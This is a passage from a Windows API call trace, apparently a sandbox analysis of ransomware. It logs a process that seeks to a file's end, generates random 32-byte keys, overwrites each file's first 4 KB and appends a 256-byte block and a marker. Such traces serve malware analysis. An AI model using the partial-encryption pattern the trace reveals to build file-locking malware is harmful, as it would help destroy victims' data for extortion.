[0078.963] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.963] GetProcessHeap () returned 0x540000 [0078.963] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.963] GetProcessHeap () returned 0x540000 [0078.964] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0078.964] GetProcessHeap () returned 0x540000 [0078.964] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.965] GetProcessHeap () returned 0x540000 [0078.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0078.965] GetProcessHeap () returned 0x540000 [0078.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.965] GetProcessHeap () returned 0x540000 [0078.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.965] GetProcessHeap () returned 0x540000 [0078.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.965] GetProcessHeap () returned 0x540000 [0078.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.965] GetProcessHeap () returned 0x540000 [0078.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.965] GetProcessHeap () returned 0x540000 [0078.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.965] GetProcessHeap () returned 0x540000 [0078.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.965] GetProcessHeap () returned 0x540000 [0078.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.965] GetProcessHeap () returned 0x540000 [0078.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.965] GetProcessHeap () returned 0x540000 [0078.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.965] GetProcessHeap () returned 0x540000 [0078.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.965] GetProcessHeap () returned 0x540000 [0078.965] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.965] GetProcessHeap () returned 0x540000 [0078.965] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.965] GetProcessHeap () returned 0x540000 [0078.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.966] GetProcessHeap () returned 0x540000 [0078.966] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.966] GetProcessHeap () returned 0x540000 [0078.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.966] GetProcessHeap () returned 0x540000 [0078.966] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.966] GetProcessHeap () returned 0x540000 [0078.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.966] GetProcessHeap () returned 0x540000 [0078.966] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.966] GetProcessHeap () returned 0x540000 [0078.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.966] GetProcessHeap () returned 0x540000 [0078.966] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.966] GetProcessHeap () returned 0x540000 [0078.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.966] GetProcessHeap () returned 0x540000 [0078.966] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.966] GetProcessHeap () returned 0x540000 [0078.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.966] GetProcessHeap () returned 0x540000 [0078.966] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0078.966] GetProcessHeap () returned 0x540000 [0078.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.966] GetProcessHeap () returned 0x540000 [0078.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0078.966] GetProcessHeap () returned 0x540000 [0078.966] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0078.966] GetProcessHeap () returned 0x540000 [0078.967] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.967] GetProcessHeap () returned 0x540000 [0078.967] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0078.967] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.967] WriteFile (in: hFile=0x7b8, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0078.967] WriteFile (in: hFile=0x7b8, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0078.967] GetProcessHeap () returned 0x540000 [0078.967] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0078.967] GetProcessHeap () returned 0x540000 [0078.967] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0078.967] GetProcessHeap () returned 0x540000 [0078.967] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0078.967] CloseHandle (hObject=0x7b8) returned 1 [0078.968] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 8 [0078.968] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.968] ReadFile (in: hFile=0x76c, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0078.968] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.968] GetProcessHeap () returned 0x540000 [0078.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0078.968] GetProcessHeap () returned 0x540000 [0078.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0078.968] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0078.968] GetProcessHeap () returned 0x540000 [0078.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0078.968] ReadFile (in: hFile=0x76c, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0079.063] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.063] WriteFile (in: hFile=0x76c, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0079.063] GetProcessHeap () returned 0x540000 [0079.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0079.063] GetProcessHeap () returned 0x540000 [0079.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.063] GetProcessHeap () returned 0x540000 [0079.063] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0079.063] GetProcessHeap () returned 0x540000 [0079.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.063] GetProcessHeap () returned 0x540000 [0079.063] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f280 [0079.063] GetProcessHeap () returned 0x540000 [0079.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.063] GetProcessHeap () returned 0x540000 [0079.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.063] GetProcessHeap () returned 0x540000 [0079.063] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.064] GetProcessHeap () returned 0x540000 [0079.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.064] GetProcessHeap () returned 0x540000 [0079.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf8) returned 0x32ea610 [0079.065] GetProcessHeap () returned 0x540000 [0079.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0079.066] GetProcessHeap () returned 0x540000 [0079.066] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1f0) returned 0x573730 [0079.066] GetProcessHeap () returned 0x540000 [0079.066] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32ea610 | out: hHeap=0x540000) returned 1 [0079.066] GetProcessHeap () returned 0x540000 [0079.066] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.066] GetProcessHeap () returned 0x540000 [0079.066] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x573730 | out: hHeap=0x540000) returned 1 [0079.066] GetProcessHeap () returned 0x540000 [0079.066] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.066] GetProcessHeap () returned 0x540000 [0079.066] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.066] GetProcessHeap () returned 0x540000 [0079.066] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.066] GetProcessHeap () returned 0x540000 [0079.066] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.066] GetProcessHeap () returned 0x540000 [0079.066] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.066] GetProcessHeap () returned 0x540000 [0079.066] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.066] GetProcessHeap () returned 0x540000 [0079.066] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.066] GetProcessHeap () returned 0x540000 [0079.066] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.066] GetProcessHeap () returned 0x540000 [0079.066] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.066] GetProcessHeap () returned 0x540000 [0079.066] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.067] GetProcessHeap () returned 0x540000 [0079.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.067] GetProcessHeap () returned 0x540000 [0079.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.067] GetProcessHeap () returned 0x540000 [0079.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.067] GetProcessHeap () returned 0x540000 [0079.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.067] GetProcessHeap () returned 0x540000 [0079.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.067] GetProcessHeap () returned 0x540000 [0079.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.067] GetProcessHeap () returned 0x540000 [0079.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.067] GetProcessHeap () returned 0x540000 [0079.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.067] GetProcessHeap () returned 0x540000 [0079.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.067] GetProcessHeap () returned 0x540000 [0079.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.067] GetProcessHeap () returned 0x540000 [0079.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.067] GetProcessHeap () returned 0x540000 [0079.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.067] GetProcessHeap () returned 0x540000 [0079.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3340258 [0079.067] GetProcessHeap () returned 0x540000 [0079.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.067] GetProcessHeap () returned 0x540000 [0079.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0079.068] GetProcessHeap () returned 0x540000 [0079.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f280 | out: hHeap=0x540000) returned 1 [0079.068] GetProcessHeap () returned 0x540000 [0079.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.068] GetProcessHeap () returned 0x540000 [0079.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0079.068] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.068] WriteFile (in: hFile=0x76c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0079.068] WriteFile (in: hFile=0x76c, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0079.068] GetProcessHeap () returned 0x540000 [0079.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0079.068] GetProcessHeap () returned 0x540000 [0079.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0079.068] GetProcessHeap () returned 0x540000 [0079.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0079.068] CloseHandle (hObject=0x76c) returned 1 [0079.106] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 10 [0079.118] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.121] ReadFile (in: hFile=0x774, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0079.121] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.121] GetProcessHeap () returned 0x540000 [0079.121] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0079.121] GetProcessHeap () returned 0x540000 [0079.121] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0079.121] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0079.121] GetProcessHeap () returned 0x540000 [0079.122] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0079.122] ReadFile (in: hFile=0x774, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0079.176] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.176] WriteFile (in: hFile=0x774, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0079.177] GetProcessHeap () returned 0x540000 [0079.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0079.177] GetProcessHeap () returned 0x540000 [0079.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.177] GetProcessHeap () returned 0x540000 [0079.177] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0079.177] GetProcessHeap () returned 0x540000 [0079.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.177] GetProcessHeap () returned 0x540000 [0079.177] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0079.177] GetProcessHeap () returned 0x540000 [0079.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.177] GetProcessHeap () returned 0x540000 [0079.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.177] GetProcessHeap () returned 0x540000 [0079.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.177] GetProcessHeap () returned 0x540000 [0079.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.177] GetProcessHeap () returned 0x540000 [0079.177] 